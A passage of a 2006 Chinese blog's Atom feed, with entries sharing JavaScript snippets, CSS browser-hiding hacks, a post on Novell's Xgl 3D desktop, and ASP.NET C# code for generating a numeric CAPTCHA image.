#0000ff">if</SPAN>(image.width&gt;iwidth){&nbsp;&nbsp; <BR>&nbsp;&nbsp;ImgD.width=iwidth; <BR>&nbsp;&nbsp;ImgD.height=(image.height*iwidth)/image.width; <BR>&nbsp;&nbsp;}<SPAN style="COLOR: #0000ff">else</SPAN>{ <BR>&nbsp;&nbsp;ImgD.width=image.width;&nbsp;&nbsp; <BR>&nbsp;&nbsp;ImgD.height=image.height; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;ImgD.alt=image.width+<SPAN style="COLOR: #ff00ff">"×"</SPAN>+image.height; <BR>&nbsp;&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">else</SPAN>{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(image.height&gt;iheight){&nbsp;&nbsp; <BR>&nbsp;&nbsp;ImgD.height=iheight; <BR>&nbsp;&nbsp;ImgD.width=(image.width*iheight)/image.height;&nbsp;&nbsp; <BR>&nbsp;&nbsp;}<SPAN style="COLOR: #0000ff">else</SPAN>{ <BR>&nbsp;&nbsp;ImgD.width=image.width;&nbsp;&nbsp; <BR>&nbsp;&nbsp;ImgD.height=image.height; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;ImgD.alt=image.width+<SPAN style="COLOR: #ff00ff">"×"</SPAN>+image.height; <BR>&nbsp;&nbsp;} <BR>&nbsp;} <BR>}&nbsp; <BR><SPAN style="COLOR: #008000">//--&gt; </SPAN><BR>&lt;/script&gt; <BR>&lt;img&nbsp;src=<SPAN style="COLOR: #ff00ff">".."</SPAN>&nbsp;onload&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"DrawImage(this)"</SPAN>&gt; </DIV>
<P><BR></P></FONT>
<P></P>
<P><FONT size=2><STRONG>//细线SELECT</STRONG> <BR>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;<SPAN style="COLOR: #808000"><SPAN style="COLOR: #0000ff">span</SPAN>&nbsp;style=<SPAN style="COLOR: #ff00ff">"border:1px&nbsp;solid&nbsp;#000000;&nbsp;position:absolute;&nbsp;overflow:hidden;"</SPAN>&nbsp;</SPAN>&gt; <BR>&lt;<SPAN style="COLOR: #808000"><SPAN style="COLOR: #0000ff">select</SPAN>&nbsp;style=<SPAN style="COLOR: #ff00ff">"margin:-2px;"</SPAN></SPAN>&gt; <BR>&lt;<SPAN style="COLOR: #808000"><SPAN style="COLOR: #0000ff">option</SPAN></SPAN>&gt;1111&lt;<S, PAN style="COLOR: #808000">/<SPAN style="COLOR: #0000ff">option</SPAN></SPAN>&gt; <BR>&lt;<SPAN style="COLOR: #808000"><SPAN style="COLOR: #0000ff">option</SPAN></SPAN>&gt;11111111111111&lt;<SPAN style="COLOR: #808000">/<SPAN style="COLOR: #0000ff">option</SPAN></SPAN>&gt; <BR>&lt;<SPAN style="COLOR: #808000"><SPAN style="COLOR: #0000ff">option</SPAN></SPAN>&gt;111111111&lt;<SPAN style="COLOR: #808000">/<SPAN style="COLOR: #0000ff">option</SPAN></SPAN>&gt; <BR>&lt;<SPAN style="COLOR: #808000">/<SPAN style="COLOR: #0000ff">select</SPAN></SPAN>&gt;&lt;<SPAN style="COLOR: #808000">/<SPAN style="COLOR: #0000ff">span</SPAN></SPAN>&gt; </DIV>
<P><BR><STRONG>//Import</STRONG> <BR></P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;Import()&nbsp;{ <BR>&nbsp;for(&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;i=0;&nbsp;i&lt;arguments.length;&nbsp;i++&nbsp;)&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;file&nbsp;=&nbsp;arguments[i]; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(&nbsp;file.match(/\.js$/i))&nbsp; <BR>&nbsp;&nbsp;&nbsp;document.write('&lt;script&nbsp;type=\"text/javascript\<SPAN style="COLOR: #ff00ff">"&nbsp;src=\"'&nbsp;+&nbsp;file&nbsp;+&nbsp;'\"&gt;&lt;/sc'&nbsp;+&nbsp;'ript&gt;'); <BR>&nbsp;&nbsp;else <BR>&nbsp;&nbsp;&nbsp;document.write('&lt;style&nbsp;type=\"text/css\"</SPAN>&gt;@import&nbsp;\"'&nbsp;+&nbsp;file&nbsp;+&nbsp;'\"&nbsp;;&lt;/style&gt;'); <BR>&nbsp;} <BR>}; </DIV>
<P><BR><FONT size=2><STRONG>//js枚举</STRONG></FONT> </P></FONT>
<P></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;getComputerName() <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;objWMIService&nbsp;=&nbsp;GetObject(<SPAN style="COLOR: #ff00ff">"Winmgmts:root\cimv2"</SPAN>); <BR>&nbsp;for(e&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;Enumerator(objWMIService)&nbsp;;&nbsp;!e.atEnd()&nbsp;;&nbsp;e.moveNext()) <BR>&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;getComputer&nbsp;=&nbsp;e.item(); <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;getComputer.Name; <BR>&nbsp;} <BR>} </DIV>
<P><BR><BR><STRONG>//条件编译</STRONG> <BR><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;language=javascript&gt; <BR><SPAN style="COLOR: #008000">/*@cc_on&nbsp;@*/</SPAN> <BR><SPAN style="COLOR: #008000">/*@if&nbsp;(@_win32&nbsp;&&&nbsp;@_jscript_version&gt;5) <BR>function&nbsp;window.confirm(str) <BR>{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;execScript("n&nbsp;=&nbsp;msgbox('"+&nbsp;str&nbsp;+"',&nbsp;257)",&nbsp;"vbscript"); <BR>&nbsp;&nbsp;&nbsp;&nbsp;return(n&nbsp;==&nbsp;1); <BR>} <BR>@end&nbsp;@*/</SPAN> <BR>&lt;/script&gt; </DIV>
<P><BR><BR><STRONG>//取得innerText</STRONG> <BR></P></FONT>
<P></P></FONT><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;SCRIPT&nbsp;LANGUAGE=<SPAN style="COLOR: #ff00ff">"JavaScript"</SPAN>&gt; <BR>&lt;!-- <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;xmlDoc&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"Msxml2.DOMDocument.4.0"</SPAN>); <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;currNode; <BR>&nbsp;xmlDoc.async&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;xmlDoc.async&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;xmlDoc.loadXML(<SPAN style="COLOR: #ff00ff">"&lt;TABLENAME&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;你好你阿三&nbsp;&nbsp;&nbsp;&nbsp;大法&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;司法等四&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/TABLENAME&gt;"</SPAN>); <BR>&nbsp;currNode&nbsp;=&nbsp;xmlDoc.documentElement; <BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;s&nbsp;=&nbsp;currNode.xml; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;r&nbsp;=&nbsp;/\&lt;([^\&gt;\s]*?)[^\&gt;]*?\&gt;([^\&lt;]*?)\&lt;\/\1\&gt;/ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;b&nbsp;=&nbsp;s.replace(r,<SPAN style="COLOR: #ff00ff">"$2"</SPAN>); <BR>&nbsp;&nbsp;alert(b); <BR><SPAN style="COLOR: #008000">//--&gt; </SPAN><BR>&lt;/SCRIPT&gt; </DIV>
<P><STRONG>//mergeAttributes 复制所有读/写标签属性到指定元素。</STRONG> </P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;SCRIPT&gt; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;fnMerge(){ <BR>oSource.children[1].mergeAttributes(oSource.children[0]); <BR>} <BR>&lt;/SCRIPT&gt; <BR>&lt;SPAN&nbsp;ID=oSource&gt; <BR>&lt;DIV <BR>ID=<SPAN style="COLOR: #ff00ff">"oDiv"</SPAN> <BR>ATTRIBUTE1=<SPAN style="COLOR: #ff00ff">"true"</SPAN> <BR>ATTRIBUTE2=<SPAN style="COLOR: #ff00ff">"true"</SPAN> <BR>onclick=<SPAN style="COLOR: #ff00ff">"alert('click');"</SPAN> <BR>onmouseover=<SPAN style="COLOR: #ff00ff">"this.style.color='#0000FF';"</SPAN> <BR>onmouseout=<SPAN style="COLOR: #ff00ff">"this.style.color='#000000';"</SPAN> <BR>&gt; <BR>This&nbsp;is&nbsp;a&nbsp;sample&nbsp;&lt;B&gt;DIV&lt;/B&gt;&nbsp;element. <BR>&lt;/DIV&gt; <BR>&lt;DIV&nbsp;ID=<SPAN style="COLOR: #ff00ff">"oDiv2"</SPAN>&gt; <BR>This&nbsp;is&nbsp;another&nbsp;sample&nbsp;&lt;B&gt;DIV&lt;/B&gt;&nbsp;element. <BR>&lt;/DIV&gt; <BR>&lt;/SPAN&gt; <BR>&lt;INPUT <BR>TYPE=<SPAN style="COLOR: #ff00ff">"button"</SPAN> <BR>VALUE=<SPAN style="COLOR: #ff00ff">"Merge&nbsp;Attributes"</SPAN> <BR>onclick=<SPAN style="COLOR: #ff00ff">"fnMerge()"</SPAN> <BR>&gt; </DIV><STRONG><BR></STRONG></FONT>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=250" /> 
	  <id>http://www.openx.cn/default.asp?id=250</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[针对浏览器隐藏CSS之九大技巧]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-03-31T13:49:09+08:00</updated>
	  <published>2006-03-31T13:49:09+08:00</published>
		  <summary type="html"><![CDATA[<DIV id=text minmax_bound="true">
<P style="TEXT-INDENT: 2em" minmax_bound="true">我们都知道浏览器之间是有差异的，很多人在使用XHTML+CSS方式制作网页的时候都曾为此无比头痛。要在这些差异的影响下工作需要很多的技巧，“隐藏CSS”就是其中很重要的一种技巧（甚至是最重要的）。这种技巧的主要思想是，用某些方式对某些浏览器隐藏某些重载的CSS规则。 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">这篇文章并不是想教你如何使用这种技巧，它面向的是有一定CSS基础的设计开发者，我假定你曾经使用过某种隐藏CSS规则的方法。这里是想把可用的方法与被隐藏规则的浏览器都列出来，方便大家在平时工作时随时查阅。 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">在这张大表里列出了九种方法，我就称其为“独孤九剑”，希望能帮上你的忙:-D </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">注：此表格原载 w3development.de。 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Browser@import url("...")@import url(...)@import "..."media=""@mediacommentattributechildTantek </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Amaya 5.1 Winx xxx </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">IE 3 Winxxx xxxx </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">IE 4 Winxxx xxxxx </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">IE 5 Win xxxx </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">IE 5.5 Win xxx </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">IE 6 Win xx </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">IE 4.01 Macx xxxxx </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">IE 4.5 Macx xx x </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">IE 5 Mac xxx </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Konqueror 2.1.1 x </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Mozilla 1.0 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Netscape 4.xxxxxx xxx </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Netscape 6.01 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Netscape 6.1 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Netscape 6.2 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Opera 3.60 Win x </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Opera 4.02 Win </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Opera 5.02 Win </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Opera 5.12 Win </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Opera Tech Preview 3 Mac </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">看完这张表之后我的第一反应是：Mozilla和Opera真乃神人也。只有一条规则会对Opera最老的一个版本起作用，所以后面我们在讲到隐藏规则的时候基本上就不考虑Mozilla和Opera了。下面列出这九种“剑法”的招数，同时在旁边也注上了我个人推荐的使用场合。注意，我推荐的不一定与你的需求相符，使用前请对照上面的表格。 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">@import url("") </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">@import url("global.css") </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">对老版本（版号小于5）的浏览器隐藏规则。 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">@import url() </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">@import url(global.css) </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">对Windows平台的老版本（版号小于5）浏览器隐藏规则。 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">@import "" </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">@import "global.css" </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">对Windows平台的老版本（版号小于5）浏览器隐藏规则。 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">media="" </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">＜link href="global.css" type="text/css" rel="stylesheet" media="all"/＞ </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">对Netscape 4.x隐藏规则。 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">@media </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">@media all { </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">... /* 需要隐藏的规则 */ </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">} </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">如果只考虑NN和IE的话就是只对4.x版本隐藏规则。 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">comment </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">#anySelector/* */ { color:#f00; } </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">这可是精确制导导弹。只对IE5及以下版本隐藏规则。所以如果要把IE5和IE5.5分开定义规则，那就靠它了。 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">attribute </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">p[id] { color: #0f0; } </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">又一个精确制导导弹。如果不关心老版本浏览器，那就是只对IE隐藏规则。关于属性选择器的更多信息请看W3C的文档。 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">child </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">p&gt;span { color: #00f; } </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">基本同上，只是Mac平台部分版本的IE支持这个规则。 </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">Tantek </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">p#tantek { </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">voice-family: "\"}\""; /* 某些浏览器有解析bug */ </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">voice-family: inherit; /* 在这以下的规则都会被忽略 */ </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">color: #f00; </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">} </P>
<P style="TEXT-INDENT: 2em" minmax_bound="true">著名的隐藏CSS技巧，对所有“非现代”浏览器隐藏规则。</P></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=249" /> 
	  <id>http://www.openx.cn/default.asp?id=249</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[强悍！Novell Xgl，3D桌面]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-03-30T12:07:15+08:00</updated>
	  <published>2006-03-30T12:07:15+08:00</published>
		  <summary type="html"><![CDATA[<P>文章链接：<BR><A href="http://www.ilmay.cn/post/41.html" target=_blank>http://www.ilmay.cn/post/41.html</A> <BR><BR><A href="http://groups.google.com/group/wxChinese/browse_frm/thread/0abf4d56a12c389f/b3c372e3ed0d6142#b3c372e3ed0d6142" target=_blank>http://groups.google.com/group/wxChinese/browse_frm/thread/0abf4d56a12c389f/b3c372e3ed0d6142#b3c372e3ed0d6142</A> <BR><BR>以下是该站长作者的视频演示，大家可以看一看他震撼的效果，窗口拖动是水波状的效果，3D的桌面效果，动态桌面效果……<BR></P>
<P><EMBED style="WIDTH: 304px; HEIGHT: 248px" src=http://www.ilmay.cn/upload/xgl.WMV width=304 height=248 type=audio/x-pn-realaudio-plugin console="Clip1" controls="IMAGEWINDOW,ControlPanel,StatusBar" autostart="true"></EMBED></P>
<P>真是太让人动心了，转附内容共享：<BR><BR>Novell最近释放了Xgl和compiz，其中展示了其最新的桌面。Xgl是基于OpenGL的X&nbsp;server，它使用硬件加速，实现真正意义上的3D桌面。compiz作为其窗口管理器。最新的cvs版本可以从<A href="http://cvs.freedesktop.org/xorg/xserver/xorg/hw/xgl/?only_with_tag=xgl-0-0-1" target=_blank>freedesktop.org</A>获得。<BR><BR>更多的介绍可参见其官方主页。<BR><A href="http://cvs.freedesktop.org/xorg/xserver/xorg/hw/xgl/?only_with_tag=xgl-0-0-1" target=_blank>http://cvs.freedesktop.org/xorg/xserver/xorg/hw/xgl/?only_with_tag=xgl-0-0-1</A> <BR><BR>Xgl---X&nbsp;over&nbsp;OpenGL.<BR>Compiz---相关的新窗口管理器/合成管理器<BR><BR>自从得知Novell发布Xgl并看到了Xgl/Compiz的demo之后，一直期待着Xgl的发行，终于在昨天查到最新版本的Ubuntu&nbsp;Linux&nbsp;6.04中已经包含了Xgl。<BR><BR><FONT color=red><FONT size=2>Xgl的demo录像可以在</FONT></FONT><A href="http://www.freedesktop.org/~davidr/xgl-demo1.xvid.avi" target=_blank>这里</A><FONT color=red><FONT size=2>下载；</FONT></FONT>&nbsp;<BR><BR>新版本的Ubuntu&nbsp;Linux可以在这里下载<BR><A href="http://cdimage.ubuntu.com/releases/dapper/flight-4/" target=_blank>http://cdimage.ubuntu.com/releases/dapper/flight-4/</A> <BR><BR>这里有安装使用Xgl/Compiz的说明<BR>https://wiki.ubuntu.com/XglHowto<BR><BR>安装：&nbsp;<BR><A href="http://forum.ubuntu.org.cn/viewtopic.php?t=11225" target=_blank>http://forum.ubuntu.org.cn/viewtopic.php?t=11225</A> <BR><BR>Windows&nbsp;Vista面临的问题更多了，还没有出生就要面对更加神奇的挑战了。<BR><BR>另外，关于Ubuntu系统，可以免费获得&nbsp;https://shipit.ubuntu.com/<BR><BR>填写相关信息，一个月左右从国外过来的邮寄包裹就来了<BR><BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=248" /> 
	  <id>http://www.openx.cn/default.asp?id=248</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[今天修改了生成附加码(验证码)的代码~共出来大家分享~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-03-29T11:51:51+08:00</updated>
	  <published>2006-03-29T11:51:51+08:00</published>
		  <summary type="html"><![CDATA[<P>using System;<BR>using System.Collections;<BR>using System.ComponentModel;<BR>using System.Data;<BR>using System.Drawing;<BR>using System.Web;<BR>using System.Web.SessionState;<BR>using System.Web.UI;<BR>using System.Web.UI.WebControls;<BR>using System.Web.UI.HtmlControls;</P>
<P>namespace Cxty_Code<BR>{<BR>&nbsp;/// &lt;summary&gt;<BR>&nbsp;/// Code 的摘要说明。<BR>&nbsp;/// &lt;/summary&gt;<BR>&nbsp;public class Code : System.Web.UI.Page<BR>&nbsp;{<BR>&nbsp;&nbsp;private&nbsp; char[] constant={'0','1','2','3','4','5','6','7','8','9'};<BR>&nbsp;&nbsp;private void Page_Load(object sender, System.EventArgs e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;// 在此处放置用户代码以初始化页面<BR>&nbsp;&nbsp;&nbsp;if(!Page.IsPostBack)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;string VNum=GenerateRandom(5);<BR>&nbsp;&nbsp;&nbsp;&nbsp;Session["VNum"] = VNum;<BR>&nbsp;&nbsp;&nbsp;&nbsp;Validate_code(VNum);<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;private&nbsp; string GenerateRandom(int length)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;System.Text.StringBuilder sb = new System.Text.StringBuilder(10);<BR>&nbsp;&nbsp;&nbsp;System.Random r = new Random();<BR>&nbsp;&nbsp;&nbsp;for(int i=0;i&lt;length;i++)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;sb.Append(constant[r.Next(10)]);<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;return sb.ToString();<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;private&nbsp; void Validate_code(string sValue)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;int gW=Int32.Parse((sValue.Length * 12).ToString())+3;</P>
<P>&nbsp;&nbsp;&nbsp;System.Drawing.Bitmap Img = new System.Drawing.Bitmap(gW,28);<BR>&nbsp;&nbsp;&nbsp;System.Drawing.Graphics g = System.Drawing.Graphics.FromImage(Img);<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;g.Clear(Color.White);//设置背景<BR>&nbsp;&nbsp;&nbsp;g.DrawString(sValue,new System.Drawing.Font("Arial",14),new System.Drawing.SolidBrush(System.Drawing.Color.Blue),2,2);//打上字</P>
<P><BR>&nbsp;&nbsp;&nbsp;Random rand = new Random();</P>
<P>//加随机线<BR>&nbsp;&nbsp;&nbsp;for (int i=0;i&lt;3;i++)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;int y = rand.Next(Img.Height);<BR>&nbsp;&nbsp;&nbsp;&nbsp;g.DrawLine(new Pen(Color.FromArgb(rand.Next()), 0),0,y,Img.Width,y);<BR>&nbsp;&nbsp;&nbsp;}</P>
<P>//加随机麻点,噪音<BR>&nbsp;&nbsp;&nbsp;for(int ii=0; ii&lt;30; ii++) <BR>&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;int xx = rand.Next(Img.Width); <BR>&nbsp;&nbsp;&nbsp;&nbsp;int yy = rand.Next(Img.Height); <BR>&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;Img.SetPixel(xx, yy, Color.FromArgb(rand.Next())); <BR>&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;System.IO.MemoryStream ms = new System.IO.MemoryStream();<BR>&nbsp;&nbsp;&nbsp;Img.Save(ms,System.Drawing.Imaging.ImageFormat.Png);<BR>&nbsp;&nbsp;&nbsp;Response.ClearContent();<BR>&nbsp;&nbsp;&nbsp;Response.ContentType="image/gif";<BR>&nbsp;&nbsp;&nbsp;Response.BinaryWrite(ms.ToArray());<BR>&nbsp;&nbsp;&nbsp;g.Dispose();<BR>&nbsp;&nbsp;&nbsp;Img.Dispose();<BR>&nbsp;&nbsp;&nbsp;Response.End();<BR>&nbsp;&nbsp;}</P>
<P>&nbsp;&nbsp;#region Web 窗体设计器生成的代码<BR>&nbsp;&nbsp;override protected void OnInit(EventArgs e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;//<BR>&nbsp;&nbsp;&nbsp;// CODEGEN: 该调用是 ASP.NET Web 窗体设计器所必需的。<BR>&nbsp;&nbsp;&nbsp;//<BR>&nbsp;&nbsp;&nbsp;InitializeComponent();<BR>&nbsp;&nbsp;&nbsp;base.OnInit(e);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;/// &lt;summary&gt;<BR>&nbsp;&nbsp;/// 设计器支持所需的方法 - 不要使用代码编辑器修改<BR>&nbsp;&nbsp;/// 此方法的内容。<BR>&nbsp;&nbsp;/// &lt;/summary&gt;<BR>&nbsp;&nbsp;private void InitializeComponent()<BR>&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;this.Load += new System.EventHandler(this.Page_Load);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;#endregion<BR>&nbsp;}<BR>}<BR></P>
<P>使用时候只需像调用图片一样调用即刻</P>
<P>效果:<IMG src="http://www.openx.cn/include/Editor/UploadFile/200632911507319.gif" border=0></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=247" /> 
	  <id>http://www.openx.cn/default.asp?id=247</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[发现一个好玩的网站]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-03-27T14:29:40+08:00</updated>
	  <published>2006-03-27T14:29:40+08:00</published>
		  <summary type="html"><![CDATA[<P>地址:http://www.20q.net/</P>
